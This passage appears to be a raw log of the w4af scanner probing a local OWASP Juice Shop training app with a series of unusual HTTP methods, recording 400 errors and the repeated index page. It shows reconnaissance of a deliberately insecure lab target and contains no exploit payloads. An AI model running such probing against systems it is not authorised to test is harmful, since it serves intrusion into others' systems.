.6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
CHECKIN http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
LOCK http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
PIN http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
* http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
TRACK http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
COPY http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
REPLY http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
MKACTIVITY http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
MKDIR http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 400 Bad Request\r\nConnection: close\r\n' b''
UNSUBSCRIBE http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
PROPPATCH http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
CHECKOUT http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:37 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" 